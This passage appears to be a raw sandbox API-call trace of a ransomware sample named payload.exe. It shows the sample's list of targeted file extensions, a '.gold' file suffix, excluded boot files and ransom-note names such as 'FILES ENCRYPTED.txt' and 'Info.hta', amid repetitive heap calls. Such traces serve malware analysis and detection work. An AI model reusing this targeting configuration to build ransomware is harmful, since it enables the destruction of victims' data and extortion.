Size=0xa) returned 0x8cc8e8 [0032.025] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8cc900 [0032.025] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8cc918 [0032.025] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8cc930 [0032.025] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xe) returned 0x8cc948 [0032.025] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8cc960 [0032.025] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xe) returned 0x8cc978 [0032.026] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8cc990 [0032.026] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8cc9a8 [0032.026] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8cc9c0 [0032.026] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8cc9d8 [0032.026] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8cc9f0 [0032.026] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xc) returned 0x8cca08 [0032.026] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8cca20 [0032.026] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8cca38 [0032.026] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8cca50 [0032.026] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8cca68 [0032.026] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8cca80 [0032.026] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8cca98 [0032.026] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8ccab0 [0032.026] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8ccac8 [0032.026] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8ccae0 [0032.026] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8ccaf8 [0032.026] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8ccb10 [0032.026] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8ccb28 [0032.026] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8ccb40 [0032.026] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8ccb58 [0032.026] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8ccb70 [0032.026] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8ccb88 [0032.026] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8ccba0 [0032.026] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8ccbb8 [0032.026] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x12) returned 0x8b5f08 [0032.026] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8ccbd0 [0032.026] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8ccbe8 [0032.026] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8ccc00 [0032.026] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8ccc18 [0032.026] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8ccc30 [0032.026] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8ccc70 [0032.026] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8ccc88 [0032.026] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8ccca0 [0032.026] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8cccb8 [0032.026] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8cccd0 [0032.026] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8ccce8 [0032.026] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8ccd00 [0032.026] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8ccd18 [0032.026] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8ccd30 [0032.026] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8ccd48 [0032.026] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8ccd60 [0032.027] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8ccd78 [0032.027] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8ccd90 [0032.027] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8ccda8 [0032.027] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8ccdc0 [0032.027] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xc) returned 0x8ccdd8 [0032.027] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xc) returned 0x8ccdf0 [0032.027] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xc) returned 0x8cce08 [0032.027] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xe) returned 0x8cce20 [0032.027] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xc) returned 0x8cce38 [0032.027] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x8) returned 0x8ba020 [0032.027] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8cce50 [0032.027] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x8) returned 0x8ba030 [0032.027] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8cce68 [0032.027] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8cce80 [0032.027] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8cce98 [0032.027] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xc) returned 0x8cceb0 [0032.027] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xc) returned 0x8ccec8 [0032.027] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8ccee0 [0032.027] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xc) returned 0x8ccef8 [0032.027] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8ccf10 [0032.027] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8ccf28 [0032.027] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xc) returned 0x8ccf40 [0032.027] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8ccf58 [0032.027] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xc) returned 0x8ccf70 [0032.027] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xc) returned 0x8ccf88 [0032.027] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8ccfa0 [0032.027] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x8) returned 0x8ba040 [0032.027] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8ccfb8 [0032.027] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8ccfd0 [0032.027] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b91a0, Size=0x800) returned 0x8cd458 [0032.027] lstrlenW (lpString=".1cd;.3ds;.3fr;.3g2;.3gp;.7z;.accda;.accdb;.accdc;.accde;.accdt;.accdw;.adb;.adp;.ai;.ai3;.ai4;.ai5;.ai6;.ai7;.ai8;.anim;.arw;.as;.asa;.asc;.ascx;.asm;.asmx;.asp;.aspx;.asr;.asx;.avi;.avs;.backup;.bak;.bay;.bd;.bin;.bmp;.bz2;.c;.cdr;.cer;.cf;.cfc;.cfm;.cfml;.cfu;.chm;.cin;.class;.clx;.config;.cpp;.cr2;.crt;.crw;.cs;.css;.csv;.cub;.dae;.dat;.db;.dbf;.dbx;.dc3;.dcm;.dcr;.der;.dib;.dic;.dif;.divx;.djvu;.dng;.doc;.docm;.docx;.dot;.dotm;.dotx;.dpx;.dqy;.dsn;.dt;.dtd;.dwg;.dwt;.dx;.dxf;.edml;.efd;.elf;.emf;.emz;.epf;.eps;.epsf;.epsp;.erf;.exr;.f4v;.fido;.flm;.flv;.frm;.fxg;.geo;.gif;.grs;.gz;.h;.hdr;.hpp;.hta;.htc;.htm;.html;.icb;.ics;.iff;.inc;.indd;.ini;.iqy;.j2c;.j2k;.java;.jp2;.jpc;.jpe;.jpeg;.jpf;.jpg;.jpx;.js;.jsf;.json;.jsp;.kdc;.kmz;.kwm;.lasso;.lbi;.lgf;.lgp;.log;.m1v;.m4a;.m4v;.max;.md;.mda;.mdb;.mde;.mdf;.mdw;.mef;.mft;.mfw;.mht;.mhtml;.mka;.mkidx;.mkv;.mos;.mov;.mp3;.mp4;.mpeg;.mpg;.mpv;.mrw;.msg;.mxl;.myd;.myi;.nef;.nrw;.obj;.odb;.odc;.odm;.odp;.ods;.oft;.one;.onepkg;.onetoc2;.opt;.oqy;.orf;.p12;.p7b;.p7c;.pam;.pbm;.pct;.pcx;.pdd;.pdf;.pdp;.pef;.pem;.pff;.pfm;.pfx;.pgm;.php;.php3;.php4;.php5;.phtml;.pict;.pl;.pls;.pm;.png;.pnm;.pot;.potm;.potx;.ppa;.ppam;.ppm;.pps;.ppsm;.ppt;.pptm;.pptx;.prn;.ps;.psb;.psd;.pst;.ptx;.pub;.pwm;.pxr;.py;.qt;.r3d;.raf;.rar;.raw;.rdf;.rgbe;.rle;.rqy;.rss;.rtf;.rw2;.rwl;.safe;.sct;.sdpx;.shtm;.shtml;.slk;.sln;.sql;.sr2;.srf;.srw;.ssi;.st;.stm;.svg;.svgz;.swf;.tab;.tar;.tbb;.tbi;.tbk;.tdi;.tga;.thmx;.tif;.tiff;.tld;.torrent;.tpl;.txt;.u3d;.udl;.uxdc;.vb;.vbs;.vcs;.vda;.vdr;.vdw;.vdx;.vrp;.vsd;.vss;.vst;.vsw;.vsx;.vtm;.vtml;.vtx;.wb2;.wav;.wbm;.wbmp;.wim;.wmf;.wml;.wmv;.wpd;.wps;.x3f;.xl;.xla;.xlam;.xlk;.xlm;.xls;.xlsb;.xlsm;.xlsx;.xlt;.xltm;.xltx;.xlw;.xml;.xps;.xsd;.xsf;.xsl;.xslt;.xsn;.xtp;.xtp2;.xyze;.xz;.zip;") returned 1776 [0032.028] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8cb450 | out: hHeap=0x880000) returned 1 [0032.028] lstrlenW (lpString="") returned 0 [0032.028] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8cdd98 | out: hHeap=0x880000) returned 1 [0032.028] lstrlenW (lpString=".gold") returned 5 [0032.028] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x894758, Size=0x8) returned 0x894758 [0032.028] lstrlenW (lpString=".gold") returned 5 [0032.028] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8cdd98 | out: hHeap=0x880000) returned 1 [0032.028] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8cddc8, Size=0x20) returned 0x894378 [0032.028] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x894378, Size=0x40) returned 0x8b6a88 [0032.028] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b6a88, Size=0x80) returned 0x8db458 [0032.028] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8ba0b0, Size=0x8) returned 0x8ba0c0 [0032.028] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8ba0c0, Size=0x10) returned 0x8cddc8 [0032.028] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8cddc8, Size=0x20) returned 0x894350 [0032.028] lstrlenW (lpString="boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;") returned 48 [0032.028] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8db458 | out: hHeap=0x880000) returned 1 [0032.028] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8cddf8, Size=0x20) returned 0x8b5938 [0032.028] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b5938, Size=0x40) returned 0x8b6a88 [0032.028] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19 [0032.028] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19 [0032.028] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8b6a88 | out: hHeap=0x880000) returned 1 [0032.028] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8cddf8, Size=0x20) returned 0x8b5938 [0032.028] lstrlenW (lpString="Info.hta") returned 8 [0032.028] lstrlenW (lpString="Info.hta") returned 8 [0032.028] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8b5938 | out: hHeap=0x880000) returned 1 [0032.028] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x8ed448, nSize=0x7fff | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\payload.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\payload.exe")) returned 0x31 [0032.028] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8ed448 | out: hHeap=0x880000) returned 1 [0032.028] lstrlenW (lpString="payload.exe") returned 11 [0032.028] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x894350, Size=0x40) returned 0x8b6a88 [0032.028] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8cddf8, Size=0x20) returned 0x894350 [0032.029] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8cddf8, Size=0x20) returned 0x8b5938 [0032.029] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b5938, Size=0x40) returned 0x8b6ad0 [0032.029] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b6ad0, Size=0x80) returned 0x8db458 [0032.029] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8db458, Size=0x100) returned 0x8cb450 [0032.029] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0032.029] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8cb450 | out: hHeap=0x880000) returned 1 [0032.029] ExpandEnvironmentStringsW (in: lpSrc="%windir%;", lpDst=0x8ed448, nSize=0x8000 | out: lpDst="C:\\Windows;") returned 0xc [0032.029] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8fd450 | out: hHeap=0x880000) returned 1 [0032.029] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8ed448 | out: hHeap=0x880000) returned 1 [0032.029] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8ba0c0, Size=0x8) returned 0x8ba0b0 [0032.029] lstrlenW (lpString="%windir%;") returned 9 [0032.029] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x894350 | out: hHeap=0x880000) returned 1 [0032.029] lstrlenW (lpString="C:\\Windows;") returned 11 [0032.029] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8dd440 | out: hHeap=0x880000) returned 1 [0032.029] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8cde10, Size=0x20) returned 0x894350 [0032.029] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x894350, Size=0x40) returned 0x8b6ad0 [0032.029] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b6ad0, Size=0x80) returned 0x8db458 [0032.029] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8db458, Size=0x100) returned 0x8cb450 [0032.029] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8ba0f0, Size=0x8) returned 0x8ba100 [0032.029] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8ba100, Size=0x10) returned 0x8cde58 [0032.029] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8cde58, Size=0x20) returned 0x894350 [0032.029] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8ba0c0, Size=0x8) returned 0x8ba100 [0032.029] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8ba0d0, Size=0x8) returned 0x8ba0c0 [0032.029] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8ba0f0, Size=0x8) returned 0x8ba110 [0032.029] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8ba110, Size=0x10) returned 0x8cdf00 [0032.029] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8cdf00, Size=0x20) returned 0x8b5938 [0032.029] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8ba100, Size=0x10) returned 0x8cdf00 [0032.029] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8ba0c0, Size=0x10) returned 0x8cdf30 [0032.029] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8ba100, Size=0x8) returned 0x8ba0f0 [0032.029] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8ba120, Size=0x8) returned 0x8ba130 [0032.030] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8cdf00, Size=0x20) returned 0x8b58e8 [0032.030] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8cdf30, Size=0x20) returned 0x8b5848 [0032.030] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8ba140, Size=0x8) returned 0x8ba150 [0032.030] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91 [0032.030] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8cb450 | out: hHeap=0x880000) returned 1 [0032.030] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8cdfa8, Size=0x20) returned 0x8b5960 [0032.030] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%", lpDst=0x8dd440, nSize=0x7fff | out: lpDst="C:") returned 0x3 [0032.030] lstrlenW (lpString="C:\\") returned 3 [0032.030] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x18fcac, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x18fcac*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0032.030] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8dd440 | out: hHeap=0x880000) returned 1 [0032.030] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8ba180, Size=0x82) returned 0x8cb9b8 [0032.030] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8ba1a0, Size=0x100) returned 0x8cba48 [0032.030] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8cb9b8, Size=0x104) returned 0x8cbc70 [0032.030] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8cba48, Size=0x200) returned 0x8cbd80 [0032.031] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8ba190 | out: hHeap=0x880000) returned 1 [0032.031] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8cbd80 | out: hHeap=0x880000) returned 1 [0032.031] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8cb5d0 | out: hHeap=0x880000) returned 1 [0032.031] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8db5f0 | out: hHeap=0x880000) returned 1 [0032.031] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8ce008 | out: hHeap=0x880000) returned 1 [0032.031] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8db678 | out: hHeap=0x880000) returned 1 [0032.031] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8ce038 | out: hHeap=0x880000) returned 1 [0032.032] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8cbc70 | out: hHeap=0x880000) returned 1 [0032.032] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8ce020 | out: hHeap=0x880000) returned 1 [0032.032] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8cbb50 | out: hHeap=0x880000) returned 1 [0032.032] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8cb5e8 | out: hHeap=0x880000) returned 1 [0032.032] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8cbbe0 | out: hHeap=0x880000) returned 1 [0032.032] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8cb600 | out: hHeap=0x880000) returned 1 [0032.032] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8ce020, Size=0x20) returned 0x8b5988 [0032.032] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b5988, Size=0x40) returned 0x8b6ad0 [0032.032] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8ba160 | out: hHeap=0x880000) returned 1 [0032.032] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8cdfa8 | out: hHeap=0x880000) returned 1 [0032.032] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8cb528 | out: hHeap=0x880000) returned 1 [0032.032] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8cdfd8 | out: hHeap=0x880000) returned 1 [0032.032] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8db568 | out: hHeap=0x880000) returned 1 [0032.032] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8cdfc0 | out: hHeap=0x880000) returned 1 [0032.032] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8ba170 | out: hHeap=0x880000) returned 1 [0032.032] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8cdff0 | out: hHeap=0x880000) returned 1 [0032.032] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8b7ed0 | out: hHeap=0x880000) returned 1 [0032.032] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8b6008 | out: hHeap=0x880000) returned 1 [0032.032] lstrlenW (lpString="%systemdrive%") returned 13 [0032.032] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8b5960 | out: hHeap=0x880000) returned 1 [0032.032] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8db458 | out: hHeap=0x880000) returned 1 [0032.032] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8ba140 | out: hHeap=0x880000) returned 1 [0032.032] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091f0, lpParameter=0x8bb430, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x100 [0032.033] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8cdff0, Size=0x20) returned 0x8b5988 [0032.033] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b5988, Size=0x40) returned 0x8b6b18 [0032.033] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b6b18, Size=0x80) returned 0x8db458 [0032.033] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8db458, Size=0x100) returned 0x8cb9b8 [0032.033] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8cb9b8, Size=0x200) returned 0x8cb9b8 [0032.033] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8cb9b8, Size=0x400) returned 0x8cb9b8 [0032.033] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8cb9b8, Size=0x800) returned 0x8cb9b8 [0032.033] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8cb9b8, Size=0x1000) returned 0x8d0068 [0032.033] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8ba140, Size=0x8) returned 0x8ba160 [0032.033] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8ba160, Size=0x10) returned 0x8ce008 [0032.033] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8ce008, Size=0x20) returned 0x8b5988 [0032.033] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b5988, Size=0x40) returned 0x8b6b18 [0032.033] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b6b18, Size=0x80) returned 0x8db458 [0032.033] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8db458, Size=0x100) returned 0x8d1088 [0032.033] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8d1088, Size=0x200) returned 0x8cbdb8 [0032.033] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8cbdb8, Size=0x400) returned 0x8d3070 [0032.033] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8d3070, Size=0x800) returned 0x8d4078 [0032.033] lstrlenW (lpString=".1cd;.3ds;.3fr;.3g2;.3gp;.7z;.accda;.accdb;.accdc;.accde;.accdt;.accdw;.adb;.adp;.ai;.ai3;.ai4;.ai5;.ai6;.ai7;.ai8;.anim;.arw;.as;.asa;.asc;.ascx;.asm;.asmx;.asp;.aspx;.asr;.asx;.avi;.avs;.backup;.bak;.bay;.bd;.bin;.bmp;.bz2;.c;.cdr;.cer;.cf;.cfc;.cfm;.cfml;.cfu;.chm;.cin;.class;.clx;.config;.cpp;.cr2;.crt;.crw;.cs;.css;.csv;.cub;.dae;.dat;.db;.dbf;.dbx;.dc3;.dcm;.dcr;.der;.dib;.dic;.dif;.divx;.djvu;.dng;.doc;.docm;.docx;.dot;.dotm;.dotx;.dpx;.dqy;.dsn;.dt;.dtd;.dwg;.dwt;.dx;.dxf;.edml;.efd;.elf;.emf;.emz;.epf;.eps;.epsf;.epsp;.erf;.exr;.f4v;.fido;.flm;.flv;.frm;.fxg;.geo;.gif;.grs;.gz;.h;.hdr;.hpp;.hta;.htc;.htm;.html;.icb;.ics;.iff;.inc;.indd;.ini;.iqy;.j2c;.j2k;.java;.jp2;.jpc;.jpe;.jpeg;.jpf;.jpg;.jpx;.js;.jsf;.json;.jsp;.kdc;.kmz;.kwm;.lasso;.lbi;.lgf;.lgp;.log;.m1v;.m4a;.m4v;.max;.md;.mda;.mdb;.mde;.mdf;.mdw;.mef;.mft;.mfw;.mht;.mhtml;.mka;.mkidx;.mkv;.mos;.mov;.mp3;.mp4;.mpeg;.mpg;.mpv;.mrw;.msg;.mxl;.myd;.myi;.nef;.nrw;.obj;.odb;.odc;.odm;.odp;.ods;.oft;.one;.onepkg;.onetoc2;.opt;.oqy;.orf;.p12;.p7b;.p7c;.pam;.pbm;.pct;.pcx;.pdd;.pdf;.pdp;.pef;.pem;.pff;.pfm;.pfx;.pgm;.php;.php3;.php4;.php5;.phtml;.pict;.pl;.pls;.pm;.png;.pnm;.pot;.potm;.potx;.ppa;.ppam;.ppm;.pps;.ppsm;.ppt;.pptm;.pptx;.prn;.ps;.psb;.psd;.pst;.ptx;.pub;.pwm;.pxr;.py;.qt;.r3d;.raf;.rar;.raw;.rdf;.rgbe;.rle;.rqy;.rss;.rtf;.rw2;.rwl;.safe;.sct;.sdpx;.shtm;.shtml;.slk;.sln;.sql;.sr2;.srf;.srw;.ssi;.st;.stm;.svg;.svgz;.swf;.tab;.tar;.tbb;.tbi;.tbk;.tdi;.tga;.thmx;.tif;.tiff;.tld;.torrent;.tpl;.txt;.u3d;.udl;.uxdc;.vb;.vbs;.vcs;.vda;.vdr;.vdw;.vdx;.vrp;.vsd;.vss;.vst;.vsw;.vsx;.vtm;.vtml;.vtx;.wb2;.wav;.wbm;.wbmp;.wim;.wmf;.wml;.wmv;.wpd;.wps;.x3f;.xl;.xla;.xlam;.xlk;.xlm;.xls;.xlsb;.xlsm;.xlsx;.xl